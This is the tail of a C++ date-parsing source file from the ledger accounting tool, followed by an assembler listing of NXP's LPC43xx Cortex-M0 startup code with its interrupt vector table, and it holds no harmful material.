return token_t(token_t::TOK_YESTERDAY);
else if (term == _("year"))
return token_t(token_t::TOK_YEAR);
else if (term == _("quarter"))
return token_t(token_t::TOK_QUARTER);
else if (term == _("month"))
return token_t(token_t::TOK_MONTH);
else if (term == _("week"))
return token_t(token_t::TOK_WEEK);
else if (term == _("day"))
return token_t(token_t::TOK_DAY);
else if (term == _("yearly"))
return token_t(token_t::TOK_YEARLY);
else if (term == _("quarterly"))
return token_t(token_t::TOK_QUARTERLY);
else if (term == _("bimonthly"))
return token_t(token_t::TOK_BIMONTHLY);
else if (term == _("monthly"))
return token_t(token_t::TOK_MONTHLY);
else if (term == _("biweekly"))
return token_t(token_t::TOK_BIWEEKLY);
else if (term == _("weekly"))
return token_t(token_t::TOK_WEEKLY);
else if (term == _("daily"))
return token_t(token_t::TOK_DAILY);
else if (term == _("years"))
return token_t(token_t::TOK_YEARS);
else if (term == _("quarters"))
return token_t(token_t::TOK_QUARTERS);
else if (term == _("months"))
return token_t(token_t::TOK_MONTHS);
else if (term == _("weeks"))
return token_t(token_t::TOK_WEEKS);
else if (term == _("days"))
return token_t(token_t::TOK_DAYS);
}
else {
token_t::expected('\0', term[0]);
begin = ++start;
}
} else {
token_t::expected('\0', *begin);
}
return token_t(token_t::UNKNOWN, token_t::content_t(term));
}
void date_parser_t::lexer_t::token_t::unexpected()
{
switch (kind) {
case END_REACHED:
kind = UNKNOWN;
throw_(date_error, _("Unexpected end of expression"));
default: {
string desc = to_string();
kind = UNKNOWN;
throw_(date_error, _f("Unexpected date period token '%1%'") % desc);
}
}
}
void date_parser_t::lexer_t::token_t::expected(char wanted, char c)
{
if (c == '\0' || c == -1) {
if (wanted == '\0' || wanted == -1)
throw_(date_error, _("Unexpected end"));
else
throw_(date_error, _f("Missing '%1%'") % wanted);
} else {
if (wanted == '\0' || wanted == -1)
throw_(date_error, _f("Invalid char '%1%'") % c);
else
throw_(date_error, _f("Invalid char '%1%' (wanted '%2%')") % c % wanted);
}
}
namespace {
typedef std::map<std::string, datetime_io_t *> datetime_io_map;
typedef std::map<std::string, date_io_t *> date_io_map;
datetime_io_map temp_datetime_io;
date_io_map temp_date_io;
}
std::string format_datetime(const datetime_t& when,
const format_type_t format_type,
const optional<const char *>& format)
{
if (format_type == FMT_WRITTEN) {
return written_datetime_io->format(when);
}
else if (format_type == FMT_CUSTOM && format) {
datetime_io_map::iterator i = temp_datetime_io.find(*format);
if (i != temp_datetime_io.end()) {
return (*i).second->format(when);
} else {
datetime_io_t * formatter = new datetime_io_t(*format, false);
temp_datetime_io.insert(datetime_io_map::value_type(*format, formatter));
return formatter->format(when);
}
}
else if (format_type == FMT_PRINTED) {
return printed_datetime_io->format(when);
}
else {
assert(false);
return empty_string;
}
}
std::string format_date(const date_t& when,
const format_type_t format_type,
const optional<const char *>& format)
{
if (format_type == FMT_WRITTEN) {
return written_date_io->format(when);
}
else if (format_type == FMT_CUSTOM && format) {
date_io_map::iterator i = temp_date_io.find(*format);
if (i != temp_date_io.end()) {
return (*i).second->format(when);
} else {
date_io_t * formatter = new date_io_t(*format, false);
temp_date_io.insert(date_io_map::value_type(*format, formatter));
return formatter->format(when);
}
}
else if (format_type == FMT_PRINTED) {
return printed_date_io->format(when);
}
else {
assert(false);
return empty_string;
}
}
namespace {
bool is_initialized = false;
}
void set_datetime_format(const char * format)
{
written_datetime_io->set_format(format);
printed_datetime_io->set_format(format);
}
void set_date_format(const char * format)
{
written_date_io->set_format(format);
printed_date_io->set_format(format);
}
void set_input_date_format(const char * format)
{
readers.push_front(shared_ptr<date_io_t>(new date_io_t(format, true)));
convert_separators_to_slashes = false;
}
void times_initialize()
{
if (! is_initialized) {
input_datetime_io.reset(new datetime_io_t("%Y/%m/%d %H:%M:%S", true));
timelog_datetime_io.reset(new datetime_io_t("%m/%d/%Y %H:%M:%S", true));
written_datetime_io.reset(new datetime_io_t("%Y/%m/%d %H:%M:%S", false));
written_date_io.reset(new date_io_t("%Y/%m/%d", false));
printed_datetime_io.reset(new datetime_io_t("%y-%b-%d %H:%M:%S", false));
printed_date_io.reset(new date_io_t("%y-%b-%d", false));
readers.push_back(shared_ptr<date_io_t>(new date_io_t("%m/%d", true)));
readers.push_back(shared_ptr<date_io_t>(new date_io_t("%Y/%m/%d", true)));
readers.push_back(shared_ptr<date_io_t>(new date_io_t("%Y/%m", true)));
readers.push_back(shared_ptr<date_io_t>(new date_io_t("%y/%m/%d", true)));
readers.push_back(shared_ptr<date_io_t>(new date_io_t("%Y-%m-%d", true)));
is_initialized = true;
}
}
void times_shutdown()
{
if (is_initialized) {
input_datetime_io.reset();
timelog_datetime_io.reset();
written_datetime_io.reset();
written_date_io.reset();
printed_datetime_io.reset();
printed_date_io.reset();
readers.clear();
foreach (datetime_io_map::value_type& pair, temp_datetime_io)
checked_delete(pair.second);
temp_datetime_io.clear();
foreach (date_io_map::value_type& pair, temp_date_io)
checked_delete(pair.second);
temp_date_io.clear();
is_initialized = false;
}
}
void show_period_tokens(std::ostream& out, const string& arg)
{
date_parser_t::lexer_t lexer(arg.begin(), arg.end());
out << _("--- Period expression tokens ---") << std::endl;
date_parser_t::lexer_t::token_t token;
do {
token = lexer.next_token();
token.dump(out);
out << ": " << token.to_string() << std::endl;
}
while (token.kind != date_parser_t::lexer_t::token_t::END_REACHED);
}
} // namespace ledger
|
1 .syntax unified
2 .cpu cortex-m0
3 .fpu softvfp
4 .eabi_attribute 20, 1
5 .eabi_attribute 21, 1
6 .eabi_attribute 23, 3
7 .eabi_attribute 24, 1
8 .eabi_attribute 25, 1
9 .eabi_attribute 26, 1
10 .eabi_attribute 30, 6
11 .eabi_attribute 34, 0
12 .eabi_attribute 18, 4
13 .thumb
14 .syntax unified
15 .file "cr_startup_lpc43xx-m0app.c"
16 .text
17 .Ltext0:
18 .cfi_sections .debug_frame
19 .global g_pfnVectors
20 .section .isr_vector,"a",%progbits
21 .align 2
24 g_pfnVectors:
25 0000 00000000 .word _vStackTop
26 0004 00000000 .word ResetISR
27 0008 00000000 .word M0_NMI_Handler
28 000c 00000000 .word M0_HardFault_Handler
29 0010 00000000 .word 0
30 0014 00000000 .word 0
31 0018 00000000 .word 0
32 001c 00000000 .word 0
33 0020 00000000 .word 0
34 0024 00000000 .word 0
35 0028 00000000 .word 0
36 002c 00000000 .word M0_SVC_Handler
37 0030 00000000 .word 0
38 0034 00000000 .word 0
39 0038 00000000 .word M0_PendSV_Handler
40 003c 00000000 .word M0_SysTick_Handler
41 0040 00000000 .word M0_RTC_IRQHandler
42 0044 00000000 .word M0_M4CORE_IRQHandler
43 0048 00000000 .word M0_DMA_IRQHandler
44 004c 00000000 .word 0
45 0050 00000000 .word 0
46 0054 00000000 .word M0_ETH_IRQHandler
47 0058 00000000 .word M0_SDIO_IRQHandler
48 005c 00000000 .word M0_LCD_IRQHandler
49 0060 00000000 .word M0_USB0_IRQHandler
50 0064 00000000 .word M0_USB1_IRQHandler
51 0068 00000000 .word M0_SCT_IRQHandler
52 006c 00000000 .word M0_RIT_OR_WWDT_IRQHandler
53 0070 00000000 .word M0_TIMER0_IRQHandler
54 0074 00000000 .word M0_GINT1_IRQHandler
55 0078 00000000 .word M0_TIMER3_IRQHandler
56 007c 00000000 .word 0
57 0080 00000000 .word 0
58 0084 00000000 .word M0_MCPWM_IRQHandler
59 0088 00000000 .word M0_ADC0_IRQHandler
60 008c 00000000 .word M0_I2C0_OR_I2C1_IRQHandler
61 0090 00000000 .word M0_SGPIO_IRQHandler
62 0094 00000000 .word M0_SPI_OR_DAC_IRQHandler
63 0098 00000000 .word M0_ADC1_IRQHandler
64 009c 00000000 .word M0_SSP0_OR_SSP1_IRQHandler
65 00a0 00000000 .word M0_EVENTROUTER_IRQHandler
66 00a4 00000000 .word M0_USART0_IRQHandler
67 00a8 00000000 .word M0_USART2_OR_C_CAN1_IRQHandler
68 00ac 00000000 .word M0_USART3_IRQHandler
69 00b0 00000000 .word M0_I2S0_OR_I2S1_OR_QEI_IRQHandler
70 00b4 00000000 .word M0_C_CAN0_IRQHandler
71 00b8 00000000 .word M0_SPIFI_OR_VADC_IRQHandler
72 00bc 00000000 .word M0_M0SUB_IRQHandler
73 .section .after_vectors,"ax",%progbits
74 .align 2
75 .global data_init
76 .code 16
77 .thumb_func
79 data_init:
80 .LFB32:
81 .file 1 "../src/cr_startup_lpc43xx-m0app.c"
1:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
2:../src/cr_startup_lpc43xx-m0app.c **** // LPC43xx (Cortex M0 APP) Startup code for use with LPCXpresso IDE
3:../src/cr_startup_lpc43xx-m0app.c **** //
4:../src/cr_startup_lpc43xx-m0app.c **** // Version : 140113
5:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
6:../src/cr_startup_lpc43xx-m0app.c **** //
7:../src/cr_startup_lpc43xx-m0app.c **** // Copyright(C) NXP Semiconductors, 2013-2014
8:../src/cr_startup_lpc43xx-m0app.c **** // All rights reserved.
9:../src/cr_startup_lpc43xx-m0app.c **** //
10:../src/cr_startup_lpc43xx-m0app.c **** // Software that is described herein is for illustrative purposes only
11:../src/cr_startup_lpc43xx-m0app.c **** // which provides customers with programming information regarding the
12:../src/cr_startup_lpc43xx-m0app.c **** // LPC products. This software is supplied "AS IS" without any warranties of
13:../src/cr_startup_lpc43xx-m0app.c **** // any kind, and NXP Semiconductors and its licensor disclaim any and
14:../src/cr_startup_lpc43xx-m0app.c **** // all warranties, express or implied, including all implied warranties of
15:../src/cr_startup_lpc43xx-m0app.c **** // merchantability, fitness for a particular purpose and non-infringement of
16:../src/cr_startup_lpc43xx-m0app.c **** // intellectual property rights. NXP Semiconductors assumes no responsibility
17:../src/cr_startup_lpc43xx-m0app.c **** // or liability for the use of the software, conveys no license or rights under any
18:../src/cr_startup_lpc43xx-m0app.c **** // patent, copyright, mask work right, or any other intellectual property rights in
19:../src/cr_startup_lpc43xx-m0app.c **** // or to any products. NXP Semiconductors reserves the right to make changes
20:../src/cr_startup_lpc43xx-m0app.c **** // in the software without notification. NXP Semiconductors also makes no
21:../src/cr_startup_lpc43xx-m0app.c **** // representation or warranty that such application will be suitable for the
22:../src/cr_startup_lpc43xx-m0app.c **** // specified use without further testing or modification.
23:../src/cr_startup_lpc43xx-m0app.c **** //
24:../src/cr_startup_lpc43xx-m0app.c **** // Permission to use, copy, modify, and distribute this software and its
25:../src/cr_startup_lpc43xx-m0app.c **** // documentation is hereby granted, under NXP Semiconductors' and its
26:../src/cr_startup_lpc43xx-m0app.c **** // licensor's relevant copyrights in the software, without fee, provided that it
27:../src/cr_startup_lpc43xx-m0app.c **** // is used in conjunction with NXP Semiconductors microcontrollers. This
28:../src/cr_startup_lpc43xx-m0app.c **** // copyright, permission, and disclaimer notice must appear in all copies of
29:../src/cr_startup_lpc43xx-m0app.c **** // this code.
30:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
31:../src/cr_startup_lpc43xx-m0app.c ****
32:../src/cr_startup_lpc43xx-m0app.c **** #include "debug_frmwrk.h"
33:../src/cr_startup_lpc43xx-m0app.c ****
34:../src/cr_startup_lpc43xx-m0app.c **** #if defined (__cplusplus)
35:../src/cr_startup_lpc43xx-m0app.c **** #ifdef __REDLIB__
36:../src/cr_startup_lpc43xx-m0app.c **** #error Redlib does not support C++
37:../src/cr_startup_lpc43xx-m0app.c **** #else
38:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
39:../src/cr_startup_lpc43xx-m0app.c **** //
40:../src/cr_startup_lpc43xx-m0app.c **** // The entry point for the C++ library startup
41:../src/cr_startup_lpc43xx-m0app.c **** //
42:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
43:../src/cr_startup_lpc43xx-m0app.c **** extern "C" {
44:../src/cr_startup_lpc43xx-m0app.c **** extern void __libc_init_array(void);
45:../src/cr_startup_lpc43xx-m0app.c **** }
46:../src/cr_startup_lpc43xx-m0app.c **** #endif
47:../src/cr_startup_lpc43xx-m0app.c **** #endif
48:../src/cr_startup_lpc43xx-m0app.c ****
49:../src/cr_startup_lpc43xx-m0app.c **** #define WEAK __attribute__ ((weak))
50:../src/cr_startup_lpc43xx-m0app.c **** #define ALIAS(f) __attribute__ ((weak, alias (#f)))
51:../src/cr_startup_lpc43xx-m0app.c ****
52:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
53:../src/cr_startup_lpc43xx-m0app.c **** #if defined (__cplusplus)
54:../src/cr_startup_lpc43xx-m0app.c **** extern "C" {
55:../src/cr_startup_lpc43xx-m0app.c **** #endif
56:../src/cr_startup_lpc43xx-m0app.c ****
57:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
58:../src/cr_startup_lpc43xx-m0app.c **** #if defined (__USE_CMSIS) || defined (__USE_LPCOPEN)
59:../src/cr_startup_lpc43xx-m0app.c **** // Declaration of external SystemInit function
60:../src/cr_startup_lpc43xx-m0app.c **** extern void SystemInit(void);
61:../src/cr_startup_lpc43xx-m0app.c **** #endif
62:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
63:../src/cr_startup_lpc43xx-m0app.c **** //
64:../src/cr_startup_lpc43xx-m0app.c **** // Forward declaration of the default handlers. These are aliased.
65:../src/cr_startup_lpc43xx-m0app.c **** // When the application defines a handler (with the same name), this will
66:../src/cr_startup_lpc43xx-m0app.c **** // automatically take precedence over these weak definitions
67:../src/cr_startup_lpc43xx-m0app.c **** //
68:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
69:../src/cr_startup_lpc43xx-m0app.c **** void ResetISR(void);
70:../src/cr_startup_lpc43xx-m0app.c **** #if defined (__USE_LPCOPEN)
71:../src/cr_startup_lpc43xx-m0app.c **** WEAK void NMI_Handler(void);
72:../src/cr_startup_lpc43xx-m0app.c **** WEAK void HardFault_Handler(void);
73:../src/cr_startup_lpc43xx-m0app.c **** WEAK void SVC_Handler(void);
74:../src/cr_startup_lpc43xx-m0app.c **** WEAK void PendSV_Handler(void);
75:../src/cr_startup_lpc43xx-m0app.c **** WEAK void SysTick_Handler(void);
76:../src/cr_startup_lpc43xx-m0app.c **** WEAK void IntDefaultHandler(void);
77:../src/cr_startup_lpc43xx-m0app.c **** #else
78:../src/cr_startup_lpc43xx-m0app.c **** WEAK void M0_NMI_Handler(void);
79:../src/cr_startup_lpc43xx-m0app.c **** WEAK void M0_HardFault_Handler (void);
80:../src/cr_startup_lpc43xx-m0app.c **** WEAK void M0_SVC_Handler(void);
81:../src/cr_startup_lpc43xx-m0app.c **** WEAK void M0_PendSV_Handler(void);
82:../src/cr_startup_lpc43xx-m0app.c **** WEAK void M0_SysTick_Handler(void);
83:../src/cr_startup_lpc43xx-m0app.c **** WEAK void M0_IntDefaultHandler(void);
84:../src/cr_startup_lpc43xx-m0app.c **** #endif
85:../src/cr_startup_lpc43xx-m0app.c ****
86:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
87:../src/cr_startup_lpc43xx-m0app.c **** //
88:../src/cr_startup_lpc43xx-m0app.c **** // Forward declaration of the specific IRQ handlers. These are aliased
89:../src/cr_startup_lpc43xx-m0app.c **** // to the IntDefaultHandler, which is a 'forever' loop. When the application
90:../src/cr_startup_lpc43xx-m0app.c **** // defines a handler (with the same name), this will automatically take
91:../src/cr_startup_lpc43xx-m0app.c **** // precedence over these weak definitions
92:../src/cr_startup_lpc43xx-m0app.c **** //
93:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
94:../src/cr_startup_lpc43xx-m0app.c **** #if defined (__USE_LPCOPEN)
95:../src/cr_startup_lpc43xx-m0app.c **** void RTC_IRQHandler(void) ALIAS(IntDefaultHandler);
96:../src/cr_startup_lpc43xx-m0app.c **** void MX_CORE_IRQHandler(void) ALIAS(IntDefaultHandler);
97:../src/cr_startup_lpc43xx-m0app.c **** void DMA_IRQHandler(void) ALIAS(IntDefaultHandler);
98:../src/cr_startup_lpc43xx-m0app.c **** void FLASHEEPROM_IRQHandler(void) ALIAS(IntDefaultHandler);
99:../src/cr_startup_lpc43xx-m0app.c **** void ETH_IRQHandler(void) ALIAS(IntDefaultHandler);
100:../src/cr_startup_lpc43xx-m0app.c **** void SDIO_IRQHandler(void) ALIAS(IntDefaultHandler);
101:../src/cr_startup_lpc43xx-m0app.c **** void LCD_IRQHandler(void) ALIAS(IntDefaultHandler);
102:../src/cr_startup_lpc43xx-m0app.c **** void USB0_IRQHandler(void) ALIAS(IntDefaultHandler);
103:../src/cr_startup_lpc43xx-m0app.c **** void USB1_IRQHandler(void) ALIAS(IntDefaultHandler);
104:../src/cr_startup_lpc43xx-m0app.c **** void SCT_IRQHandler(void) ALIAS(IntDefaultHandler);
105:../src/cr_startup_lpc43xx-m0app.c **** void RIT_IRQHandler(void) ALIAS(IntDefaultHandler);
106:../src/cr_startup_lpc43xx-m0app.c **** void TIMER0_IRQHandler(void) ALIAS(IntDefaultHandler);
107:../src/cr_startup_lpc43xx-m0app.c **** void GINT1_IRQHandler(void) ALIAS(IntDefaultHandler);
108:../src/cr_startup_lpc43xx-m0app.c **** void GPIO4_IRQHandler(void) ALIAS(IntDefaultHandler);
109:../src/cr_startup_lpc43xx-m0app.c **** void TIMER3_IRQHandler(void) ALIAS(IntDefaultHandler);
110:../src/cr_startup_lpc43xx-m0app.c **** void MCPWM_IRQHandler(void) ALIAS(IntDefaultHandler);
111:../src/cr_startup_lpc43xx-m0app.c **** void ADC0_IRQHandler(void) ALIAS(IntDefaultHandler);
112:../src/cr_startup_lpc43xx-m0app.c **** void I2C0_IRQHandler(void) ALIAS(IntDefaultHandler);
113:../src/cr_startup_lpc43xx-m0app.c **** void SGPIO_IRQHandler(void) ALIAS(IntDefaultHandler);
114:../src/cr_startup_lpc43xx-m0app.c **** void SPI_IRQHandler (void) ALIAS(IntDefaultHandler);
115:../src/cr_startup_lpc43xx-m0app.c **** void ADC1_IRQHandler(void) ALIAS(IntDefaultHandler);
116:../src/cr_startup_lpc43xx-m0app.c **** void SSP0_IRQHandler(void) ALIAS(IntDefaultHandler);
117:../src/cr_startup_lpc43xx-m0app.c **** void EVRT_IRQHandler(void) ALIAS(IntDefaultHandler);
118:../src/cr_startup_lpc43xx-m0app.c **** void UART0_IRQHandler(void) ALIAS(IntDefaultHandler);
119:../src/cr_startup_lpc43xx-m0app.c **** void UART1_IRQHandler(void) ALIAS(IntDefaultHandler);
120:../src/cr_startup_lpc43xx-m0app.c **** void UART2_IRQHandler(void) ALIAS(IntDefaultHandler);
121:../src/cr_startup_lpc43xx-m0app.c **** void UART3_IRQHandler(void) ALIAS(IntDefaultHandler);
122:../src/cr_startup_lpc43xx-m0app.c **** void I2S0_IRQHandler(void) ALIAS(IntDefaultHandler);
123:../src/cr_startup_lpc43xx-m0app.c **** void CAN0_IRQHandler(void) ALIAS(IntDefaultHandler);
124:../src/cr_startup_lpc43xx-m0app.c **** void SPIFI_ADCHS_IRQHandler(void) ALIAS(IntDefaultHandler);
125:../src/cr_startup_lpc43xx-m0app.c **** void M0SUB_IRQHandler(void) ALIAS(IntDefaultHandler);
126:../src/cr_startup_lpc43xx-m0app.c **** #else
127:../src/cr_startup_lpc43xx-m0app.c **** void M0_RTC_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
128:../src/cr_startup_lpc43xx-m0app.c **** void M0_M4CORE_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
129:../src/cr_startup_lpc43xx-m0app.c **** void M0_DMA_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
130:../src/cr_startup_lpc43xx-m0app.c **** void M0_ETH_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
131:../src/cr_startup_lpc43xx-m0app.c **** void M0_SDIO_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
132:../src/cr_startup_lpc43xx-m0app.c **** void M0_LCD_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
133:../src/cr_startup_lpc43xx-m0app.c **** void M0_USB0_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
134:../src/cr_startup_lpc43xx-m0app.c **** void M0_USB1_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
135:../src/cr_startup_lpc43xx-m0app.c **** void M0_SCT_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
136:../src/cr_startup_lpc43xx-m0app.c **** void M0_RIT_OR_WWDT_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
137:../src/cr_startup_lpc43xx-m0app.c **** void M0_TIMER0_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
138:../src/cr_startup_lpc43xx-m0app.c **** void M0_GINT1_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
139:../src/cr_startup_lpc43xx-m0app.c **** void M0_TIMER3_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
140:../src/cr_startup_lpc43xx-m0app.c **** void M0_MCPWM_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
141:../src/cr_startup_lpc43xx-m0app.c **** void M0_ADC0_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
142:../src/cr_startup_lpc43xx-m0app.c **** void M0_I2C0_OR_I2C1_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
143:../src/cr_startup_lpc43xx-m0app.c **** void M0_SGPIO_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
144:../src/cr_startup_lpc43xx-m0app.c **** void M0_SPI_OR_DAC_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
145:../src/cr_startup_lpc43xx-m0app.c **** void M0_ADC1_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
146:../src/cr_startup_lpc43xx-m0app.c **** void M0_SSP0_OR_SSP1_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
147:../src/cr_startup_lpc43xx-m0app.c **** void M0_EVENTROUTER_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
148:../src/cr_startup_lpc43xx-m0app.c **** void M0_USART0_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
149:../src/cr_startup_lpc43xx-m0app.c **** void M0_USART2_OR_C_CAN1_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
150:../src/cr_startup_lpc43xx-m0app.c **** void M0_USART3_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
151:../src/cr_startup_lpc43xx-m0app.c **** void M0_I2S0_OR_I2S1_OR_QEI_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
152:../src/cr_startup_lpc43xx-m0app.c **** void M0_C_CAN0_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
153:../src/cr_startup_lpc43xx-m0app.c **** void M0_SPIFI_OR_VADC_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
154:../src/cr_startup_lpc43xx-m0app.c **** void M0_M0SUB_IRQHandler(void) ALIAS(M0_IntDefaultHandler);
155:../src/cr_startup_lpc43xx-m0app.c **** #endif
156:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
157:../src/cr_startup_lpc43xx-m0app.c **** //
158:../src/cr_startup_lpc43xx-m0app.c **** // The entry point for the application.
159:../src/cr_startup_lpc43xx-m0app.c **** // __main() is the entry point for Redlib based applications
160:../src/cr_startup_lpc43xx-m0app.c **** // main() is the entry point for Newlib based applications
161:../src/cr_startup_lpc43xx-m0app.c **** //
162:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
163:../src/cr_startup_lpc43xx-m0app.c **** #if defined (__REDLIB__)
164:../src/cr_startup_lpc43xx-m0app.c **** extern void __main(void);
165:../src/cr_startup_lpc43xx-m0app.c **** #endif
166:../src/cr_startup_lpc43xx-m0app.c **** extern int main(void);
167:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
168:../src/cr_startup_lpc43xx-m0app.c **** //
169:../src/cr_startup_lpc43xx-m0app.c **** // External declaration for the pointer to the stack top from the Linker Script
170:../src/cr_startup_lpc43xx-m0app.c **** //
171:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
172:../src/cr_startup_lpc43xx-m0app.c **** extern void _vStackTop(void);
173:../src/cr_startup_lpc43xx-m0app.c ****
174:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
175:../src/cr_startup_lpc43xx-m0app.c **** #if defined (__cplusplus)
176:../src/cr_startup_lpc43xx-m0app.c **** } // extern "C"
177:../src/cr_startup_lpc43xx-m0app.c **** #endif
178:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
179:../src/cr_startup_lpc43xx-m0app.c **** //
180:../src/cr_startup_lpc43xx-m0app.c **** // The vector table.
181:../src/cr_startup_lpc43xx-m0app.c **** // This relies on the linker script to place at correct location in memory.
182:../src/cr_startup_lpc43xx-m0app.c **** //
183:../src/cr_startup_lpc43xx-m0app.c **** //*****************************************************************************
184:../src/cr_startup_lpc43xx-m0app.c **** extern void (* const g_pfnVectors[])(void);
185:../src/cr_startup_lpc43xx-m0app.c **** __attribute__ ((section(".isr_vector")))
186:../src/cr_startup_lpc43xx-m0app.c **** void (* const g_pfnVectors[])(void) = {
187:../src/cr_startup_lpc43xx-m0app.c **** #if defined (__USE_LPCOPEN)
188:../src/cr_startup_lpc43xx-m0app.c **** // Core Level - CM0
189:../src/cr_startup_lpc43xx-m0app.c **** &_vStackTop, // The initial stack pointer
190:../src/cr_startup_lpc43xx-m0app.c **** ResetISR, // 1 The reset handler
191:../src/cr_startup_lpc43xx-m0app.c **** NMI_Handler, // The NMI handler
192:../src/cr_startup_lpc43xx-m0app.c **** HardFault_Handler, // The hard fault handler
193:../src/cr_startup_lpc43xx-m0app.c **** 0, // 4 Reserved
194:../src/cr_startup_lpc43xx-m0app.c **** 0, // 5 Reserved
195:../src/cr_startup_lpc43xx-m0app.c **** 0, // 6 Reserved
196:../src/cr_startup_lpc43xx-m0app.c **** 0, // 7 Reserved
197:../src/cr_startup_lpc43xx-m0app.c **** 0, // 8 Reserved
198:../src/cr_startup_lpc43xx-m0app.c **** 0, // 9 Reserved
199:../src/cr_startup_lpc43xx-m0app.c **** 0, // 10 Reserved
200:../src/cr_startup_lpc43xx-m0app.c **** SVC_Handler, // SVCall handler
201:../src/cr_startup_lpc43xx-m0app.c **** 0, // Reserved
202:../src/cr_startup_lpc43xx-m0app.c **** 0, // Reserved
203:../src/cr_startup_lpc43xx-m0app.c **** PendSV_Handler, // The PendSV handler
204:../src/cr_startup_lpc43xx-m0app.c **** SysTick_Handler, // The SysTick handler
205:../src/cr_startup_lpc43xx-m0app.c ****
206:../src/cr_startup_lpc43xx-m0app.c **** // Chip Level - 43xx M0 core
207:../src/cr_startup_lpc43xx-m0app.c **** RTC_IRQHandler, // 16 RTC
208:../src/cr_startup_lpc43xx-m0app.c **** MX_CORE_IRQHandler, // 17 CortexM4/M0 (LPC43XX ONLY)
209:../src/cr_startup_lpc43xx-m0app.c **** DMA_IRQHandler, // 18 General Purpose DMA
210:../src/cr_startup_lpc43xx-m0app.c **** 0, // 19 Reserved
211:../src/cr_startup_lpc43xx-m0app.c **** FLASHEEPROM_IRQHandler, // 20 ORed flash Bank A, flash Bank B, EEPROM interrupts
212:../src/cr_startup_lpc43xx-m0app.c **** ETH_IRQHandler, // 21 Ethernet
213:../src/cr_startup_lpc43xx-m0app.c **** SDIO_IRQHandler, // 22 SD/MMC
214:../src/cr_startup_lpc43xx-m0app.c **** LCD_IRQHandler, // 23 LCD
215:../src/cr_startup_lpc43xx-m0app.c **** USB0_IRQHandler, // 24 USB0
216:../src/cr_startup_lpc43xx-m0app.c **** USB1_IRQHandler, // 25 USB1
217:../src/cr_startup_lpc43xx-m0app.c **** SCT_IRQHandler, // 26 State Configurable Timer
218:../src/cr_startup_lpc43xx-m0app.c **** RIT_IRQHandler, // 27 ORed Repetitive Interrupt Timer, WWDT
219:../src/cr_startup_lpc43xx-m0app.c **** TIMER0_IRQHandler, // 28 Timer0
220:../src/cr_startup_lpc43xx-m0app.c **** GINT1_IRQHandler, // 29 GINT1
221:../src/cr_startup_lpc43xx-m0app.c **** GPIO4_IRQHandler, // 30 GPIO4
222:../src/cr_startup_lpc43xx-m0app.c **** TIMER3_IRQHandler, // 31 Timer 3
223:../src/cr_startup_lpc43xx-m0app.c **** MCPWM_IRQHandler, // 32 Motor Control PWM
224:../src/cr_startup_lpc43xx-m0app.c **** ADC0_IRQHandler, // 33 A/D Converter 0
225:../src/cr_startup_lpc43xx-m0app.c **** I2C0_IRQHandler, // 34 ORed I2C0, I2C1
226:../src/cr_startup_lpc43xx-m0app.c **** SGPIO_IRQHandler, // 35 SGPIO (LPC43XX ONLY)
227:../src/cr_startup_lpc43xx-m0app.c **** SPI_IRQHandler, // 36 ORed SPI, DAC (LPC43XX ONLY)
228:../src/cr_startup_lpc43xx-m0app.c **** ADC1_IRQHandler, // 37 A/D Converter 1
229:../src/cr_startup_lpc43xx-m0app.c **** SSP0_IRQHandler, // 38 ORed SSP0, SSP1
230:../src/cr_startup_lpc43xx-m0app.c **** EVRT_IRQHandler, // 39 Event Router
231:../src/cr_startup_lpc43xx-m0app.c **** UART0_IRQHandler, // 40 UART0
232:../src/cr_startup_lpc43xx-m0app.c **** UART1_IRQHandler, // 41 UART1
233:../src/cr_startup_lpc43xx-m0app.c **** UART2_IRQHandler, // 42 UART2
234:../src/cr_startup_lpc43xx-m0app.c **** UART3_IRQHandler, // 43 USRT3
235:../src/cr_startup_lpc43xx-m0app.c **** I2S0_IRQHandler, // 44 ORed I2S0, I2S1
236:../src/cr_startup_lpc43xx-m0app.c **** CAN0_IRQHandler, // 45 C_CAN0
237:../src/cr_startup_lpc43xx-m0app.c **** SPIFI_ADCHS_IRQHandler, // 46 SPIFI OR ADCHS interrupt
238:../src/cr_startup_lpc43xx-m0app.c **** M0SUB_IRQHandler, // 47 M0SUB core
239:../src/cr_startup_lpc43xx-m0app.c **** };
